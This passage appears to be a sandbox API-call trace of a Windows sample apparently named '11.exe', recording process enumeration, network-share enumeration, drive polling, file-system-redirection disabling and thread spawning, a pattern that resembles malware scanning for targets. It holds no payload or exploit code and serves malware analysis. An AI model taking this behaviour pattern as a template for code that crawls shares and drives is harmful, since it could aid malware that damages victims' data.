hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0222.690] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0222.690] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0222.691] lstrlenW (lpString="conhost.exe") returned 11 [0222.691] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0222.692] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0222.692] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.693] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0222.693] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0222.693] lstrlenW (lpString="WMIADAP.exe") returned 11 [0222.693] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0222.694] lstrlenW (lpString="11.exe") returned 6 [0222.694] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0222.695] lstrlenW (lpString="conhost.exe") returned 11 [0222.695] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0222.696] lstrlenW (lpString="LogonUI.exe") returned 11 [0222.696] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0222.697] CloseHandle (hObject=0x2d8) returned 1 [0222.697] Sleep (dwMilliseconds=0x1f4) Thread: id = 9 os_tid = 0xe7c [0189.742] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0189.743] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c9e18 | out: hHeap=0x790000) returned 1 Thread: id = 10 os_tid = 0x7b8 [0189.744] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edd20 [0189.744] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edd20, Size=0x20) returned 0x7c57c0 [0189.744] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c57c0, Size=0x40) returned 0x79fd60 [0189.744] GetLogicalDrives () returned 0x4 [0189.744] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x823ca8 [0191.229] GetComputerNameW (in: lpBuffer=0x823cac, nSize=0x27dff64 | out: lpBuffer="NQDPDE", nSize=0x27dff64) returned 1 [0191.229] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x7e0cd8 [0191.229] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x27dff34 | out: lphEnum=0x27dff34*=0x79ef98) returned 0x0 [0191.230] WNetEnumResourceW (in: hEnum=0x79ef98, lpcCount=0x27dff30, lpBuffer=0x7e0cd8, lpBufferSize=0x27dff38 | out: lpcCount=0x27dff30, lpBuffer=0x7e0cd8, lpBufferSize=0x27dff38) returned 0x103 [0191.230] WNetCloseEnum (hEnum=0x79ef98) returned 0x0 [0191.230] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x27dff34 | out: lphEnum=0x27dff34*=0x7a1b70) returned 0x0 [0195.174] WNetEnumResourceW (in: hEnum=0x7a1b70, lpcCount=0x27dff30, lpBuffer=0x7e0cd8, lpBufferSize=0x27dff38 | out: lpcCount=0x27dff30, lpBuffer=0x7e0cd8, lpBufferSize=0x27dff38) returned 0x0 [0195.175] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x3d249d8 [0195.175] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7e0cd8, lphEnum=0x27dff08 | out: lphEnum=0x27dff08*=0x79eff8) returned 0x0 [0195.176] WNetEnumResourceW (in: hEnum=0x79eff8, lpcCount=0x27dff04, lpBuffer=0x3d249d8, lpBufferSize=0x27dff0c | out: lpcCount=0x27dff04, lpBuffer=0x3d249d8, lpBufferSize=0x27dff0c) returned 0x103 [0195.176] WNetCloseEnum (hEnum=0x79eff8) returned 0x0 [0195.176] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x3d289f8 [0195.176] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7e0cf8, lphEnum=0x27dff08 | out: lphEnum=0x27dff08*=0x0) returned 0x4b8 [0217.718] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x4352468 [0217.718] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7e0d18, lphEnum=0x27dff08 | out: lphEnum=0x27dff08*=0x0) returned 0x4c6 [0218.319] WNetEnumResourceW (in: hEnum=0x7a1b70, lpcCount=0x27dff30, lpBuffer=0x7e0cd8, lpBufferSize=0x27dff38 | out: lpcCount=0x27dff30, lpBuffer=0x7e0cd8, lpBufferSize=0x27dff38) returned 0x103 [0218.319] WNetCloseEnum (hEnum=0x7a1b70) returned 0x0 [0218.319] GetLogicalDrives () returned 0x4 [0218.319] Sleep (dwMilliseconds=0x64) [0218.504] GetLogicalDrives () returned 0x4 [0218.504] Sleep (dwMilliseconds=0x64) [0218.607] GetLogicalDrives () returned 0x4 [0218.607] Sleep (dwMilliseconds=0x64) [0219.005] GetLogicalDrives () returned 0x4 [0219.005] Sleep (dwMilliseconds=0x64) [0219.413] GetLogicalDrives () returned 0x4 [0219.413] Sleep (dwMilliseconds=0x64) [0219.523] GetLogicalDrives () returned 0x4 [0219.523] Sleep (dwMilliseconds=0x64) [0219.692] GetLogicalDrives () returned 0x4 [0219.692] Sleep (dwMilliseconds=0x64) [0219.802] GetLogicalDrives () returned 0x4 [0219.802] Sleep (dwMilliseconds=0x64) [0220.057] GetLogicalDrives () returned 0x4 [0220.057] Sleep (dwMilliseconds=0x64) [0220.668] GetLogicalDrives () returned 0x4 [0220.668] Sleep (dwMilliseconds=0x64) [0221.226] GetLogicalDrives () returned 0x4 [0221.226] Sleep (dwMilliseconds=0x64) [0221.471] GetLogicalDrives () returned 0x4 [0221.471] Sleep (dwMilliseconds=0x64) [0221.672] GetLogicalDrives () returned 0x4 [0221.673] Sleep (dwMilliseconds=0x64) [0221.859] GetLogicalDrives () returned 0x4 [0221.859] Sleep (dwMilliseconds=0x64) [0222.072] GetLogicalDrives () returned 0x4 [0222.072] Sleep (dwMilliseconds=0x64) [0222.217] GetLogicalDrives () returned 0x4 [0222.217] Sleep (dwMilliseconds=0x64) [0222.347] GetLogicalDrives () returned 0x4 [0222.347] Sleep (dwMilliseconds=0x64) [0222.467] GetLogicalDrives () returned 0x4 [0222.467] Sleep (dwMilliseconds=0x64) [0222.576] GetLogicalDrives () returned 0x4 [0222.576] Sleep (dwMilliseconds=0x64) [0222.698] GetLogicalDrives () returned 0x4 [0222.698] Sleep (dwMilliseconds=0x64) [0222.810] GetLogicalDrives () returned 0x4 [0222.810] Sleep (dwMilliseconds=0x64) [0222.967] GetLogicalDrives () returned 0x4 [0222.967] Sleep (dwMilliseconds=0x64) Thread: id = 11 os_tid = 0x904 [0189.745] GetTickCount () returned 0x446f8 [0189.745] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x79e640 [0189.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x79e640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0189.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x79e640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0189.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x79e640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268 [0189.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x79e640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c [0189.747] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edd50 [0189.747] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edd50, Size=0x20) returned 0x7c57c0 [0189.747] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edd08 [0189.747] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edd08, Size=0x20) returned 0x7c5810 [0189.748] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0189.748] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0189.748] Wow64DisableWow64FsRedirection (in: OldValue=0x28dff7c | out: OldValue=0x28dff7c*=0x0) returned 1 [0189.748] lstrlenW (lpString="kernel32.dll") returned 12 [0189.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c57c0 | out: hHeap=0x790000) returned 1 [0189.748] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0189.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5810 | out: hHeap=0x790000) returned 1 [0189.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x7cbde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0189.748] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0191.347] GetTickCount () returned 0x44d32 [0191.347] GetTickCount () returned 0x44d32 [0191.347] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0192.592] GetTickCount () returned 0x45214 [0192.592] GetTickCount () returned 0x45214 [0192.592] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0192.849] GetTickCount () returned 0x4531d [0192.849] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0194.236] GetTickCount () returned 0x4588c [0194.236] GetTickCount () returned 0x4588c [0194.236] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0194.457] GetTickCount () returned 0x45957 [0194.457] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0194.782] GetTickCount () returned 0x45a9f [0194.782] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0195.083] GetTickCount () returned 0x45bd8 [0195.084] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0196.116] GetTickCount () returned 0x45fdf [0196.116] GetTickCount () returned 0x45fdf [0196.116] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0196.321] GetTickCount () returned 0x460aa [0196.321] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0196.973] GetTickCount () returned 0x4633a [0196.973] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0197.107] GetTickCount () returned 0x463b7 [0197.107] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0197.201] GetTickCount () returned 0x46415 [0197.201] GetTickCount () returned 0x46415 [0197.201] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0197.859] GetTickCount () returned 0x466b5 [0197.859] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0198.218] GetTickCount () returned 0x4681c [0198.218] GetTickCount () returned 0x4681c [0198.218] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0198.431] GetTickCount () returned 0x468e8 [0198.431] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0198.541] GetTickCount () returned 0x46955 [0198.541] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0198.647] GetTickCount () returned 0x469b3 [0198.647] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0198.880] GetTickCount () returned 0x46a9d [0198.880] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0199.217] GetTickCount () returned 0x46bf5 [0199.217] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0199.325] GetTickCount () returned 0x46c62 [0199.325] GetTickCount () returned 0x46c62 [0199.325] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0199.604] GetTickCount () returned 0x46d6c [0199.604] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0199.699] GetTickCount () returned 0x46dd9 [0199.699] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0199.814] GetTickCount () returned 0x46e47 [0199.814] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0199.921] GetTickCount () returned 0x46eb4 [0199.921] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0200.027] GetTickCount () returned 0x46f21 [0200.028] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0200.253] GetTickCount () returned 0x46ffc [0200.253] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0200.387] GetTickCount () returned 0x47089 [0200.387] GetTickCount () returned 0x47089 [0200.387] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0200.500] GetTickCount () returned 0x470f6 [0200.500] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0200.606] GetTickCount () returned 0x47163 [0200.606] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0200.715] GetTickCount () returned 0x471d1 [0200.715] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0200.824] GetTickCount () returned 0x4723e [0200.824] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0200.965] GetTickCount () returned 0x472cb [0200.965] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0201.075] GetTickCount () returned 0x47338 [0201.075] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0201.215] GetTickCount () returned 0x473c5 [0201.215] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0201.345] GetTickCount () returned 0x47451 [0201.345] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0201.449] GetTickCount () returned 0x474af [0201.449] GetTickCount () returned 0x474af [0201.449] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0201.799] GetTickCount () returned 0x47607 [0201.799] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0202.192] GetTickCount () returned 0x4779d [0202.192] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0202.840] GetTickCount () returned 0x47a1e [0202.840] GetTickCount () returned 0x47a1e [0202.840] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0203.634] GetTickCount () returned 0x47d3b [0203.634] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0204.014] GetTickCount () returned 0x47ec1 [0204.014] GetTickCount () returned 0x47ec1 [0204.014] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0204.571] GetTickCount () returned 0x480e4 [0204.571] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0205.018] GetTickCount () returned 0x4829a [0205.018] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0205.330] GetTickCount () returned 0x483d2 [0205.330] GetTickCount () returned 0x483d2 [0205.330] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0205.428] GetTickCount () returned 0x48440 [0205.428] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0205.580] GetTickCount () returned 0x484cc [0205.580] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0206.059] GetTickCount () returned 0x486b1 [0206.059] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0206.729] GetTickCount () returned 0x48950 [0206.729] GetTickCount () returned 0x48950 [0206.729] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0207.334] GetTickCount () returned 0x48bb2 [0207.334] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0208.034] GetTickCount () returned 0x48e61 [0208.034] GetTickCount () returned 0x48e61 [0208.034] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0208.659] GetTickCount () returned 0x490d2 [0208.659] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0209.092] GetTickCount () returned 0x49288 [0209.092] GetTickCount () returned 0x49288 [0209.092] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0209.724] GetTickCount () returned 0x49508 [0209.724] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0210.005] GetTickCount () returned 0x49622 [0210.005] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0210.339] GetTickCount () returned 0x4976a [0210.339] GetTickCount () returned 0x4976a [0210.339] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0210.674] GetTickCount () returned 0x498c2 [0210.674] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0210.814] GetTickCount () returned 0x4993f [0210.814] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0210.913] GetTickCount () returned 0x499ac [0210.913] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0211.110] GetTickCount () returned 0x49a67 [0211.110] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0211.209] GetTickCount () returned 0x49ad5 [0211.209] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0211.320] GetTickCount () returned 0x49b42 [0211.320] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0211.471] GetTickCount () returned 0x49bde [0211.471] GetTickCount () returned 0x49bde [0211.471] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0211.581] GetTickCount () returned 0x49c4c [0211.581] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0211.690] GetTickCount () returned 0x49cb9 [0211.690] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0211.800] GetTickCount () returned 0x49d27 [0211.800] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0211.946] GetTickCount () returned 0x49db3 [0211.946] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0212.083] GetTickCount () returned 0x49e40 [0212.083] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0212.192] GetTickCount () returned 0x49ead [0212.192] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0212.760] GetTickCount () returned 0x4a0e0 [0212.760] GetTickCount () returned 0x4a0e0 [0212.760] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0212.886] GetTickCount () returned 0x4a15d [0212.886] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0213.050] GetTickCount () returned 0x4a209 [0213.051] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0213.162] GetTickCount () returned 0x4a276 [0213.162] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0213.274] GetTickCount () returned 0x4a2e3 [0213.274] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0213.438] GetTickCount () returned 0x4a380 [0213.438] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0213.534] GetTickCount () returned 0x4a3ed [0213.534] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0213.644] GetTickCount () returned 0x4a45a [0213.644] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0213.753] GetTickCount () returned 0x4a4c8 [0213.753] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0213.866] GetTickCount () returned 0x4a535 [0213.866] GetTickCount () returned 0x4a535 [0213.866] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0214.001] GetTickCount () returned 0x4a5b2 [0214.001] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0214.136] GetTickCount () returned 0x4a63f [0214.136] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0214.237] GetTickCount () returned 0x4a6ac [0214.237] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0214.351] GetTickCount () returned 0x4a719 [0214.351] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0214.455] GetTickCount () returned 0x4a787 [0214.455] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0214.567] GetTickCount () returned 0x4a7f4 [0214.567] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0214.688] GetTickCount () returned 0x4a862 [0214.688] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0214.804] GetTickCount () returned 0x4a8df [0214.804] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0214.910] GetTickCount () returned 0x4a94c [0214.910] GetTickCount () returned 0x4a94c [0214.910] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0215.015] GetTickCount () returned 0x4a9aa [0215.015] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0215.123] GetTickCount () returned 0x4aa17 [0215.123] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0215.297] GetTickCount () returned 0x4aac3 [0215.297] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0215.431] GetTickCount () returned 0x4ab40 [0215.431] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0217.341] GetTickCount () returned 0x4b2b2 [0217.341] GetTickCount () returned 0x4b2b2 [0217.341] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0217.570] GetTickCount () returned 0x4b39d [0217.570] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0217.738] GetTickCount () returned 0x4b448 [0217.738] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0217.841] GetTickCount () returned 0x4b4b6 [0217.841] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0217.955] GetTickCount () returned 0x4b523 [0217.955] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0218.060] GetTickCount () returned 0x4b591 [0218.060] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0218.201] GetTickCount () returned 0x4b61d [0218.201] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0218.413] GetTickCount () returned 0x4b6f8 [0218.413] GetTickCount () returned 0x4b6f8 [0218.413] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0218.593] GetTickCount () returned 0x4b7a4 [0218.593] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0219.004] GetTickCount () returned 0x4b93a [0219.004] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0219.413] GetTickCount () returned 0x4bad0 [0219.413] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0219.524] GetTickCount () returned 0x4bb3e [0219.524] GetTickCount () returned 0x4bb3e [0219.524] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0219.692] GetTickCount () returned 0x4bbf9 [0219.692] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0219.802] GetTickCount () returned 0x4bc57 [0219.802] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0220.056] GetTickCount () returned 0x4bd51 [0220.056] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0220.584] GetTickCount () returned 0x4bf64 [0220.584] GetTickCount () returned 0x4bf64 [0220.584] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0220.758] GetTickCount () returned 0x4c010 [0220.758] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0221.310] GetTickCount () returned 0x4c243 [0221.311] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0221.666] GetTickCount () returned 0x4c39a [0221.667] GetTickCount () returned 0x4c39a [0221.667] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0221.856] GetTickCount () returned 0x4c465 [0221.856] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0222.071] GetTickCount () returned 0x4c531 [0222.071] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0222.172] GetTickCount () returned 0x4c59e [0222.172] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0222.280] GetTickCount () returned 0x4c60b [0222.280] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0222.406] GetTickCount () returned 0x4c688 [0222.406] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0222.545] GetTickCount () returned 0x4c715 [0222.545] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0222.697] GetTickCount () returned 0x4c7a2 [0222.697] GetTickCount () returned 0x4c7a2 [0222.697] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0222.796] GetTickCount () returned 0x4c80f [0222.796] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0222.904] GetTickCount () returned 0x4c87c [0222.904] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) returned 0x102 [0223.013] GetTickCount () returned 0x4c8ea [0223.013] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x64) Thread: id = 12 os_tid = 0xda8 [0189.749] GetTickCount () returned 0x446f8 [0189.749] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x79e790 [0189.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x79e790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274 [0189.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 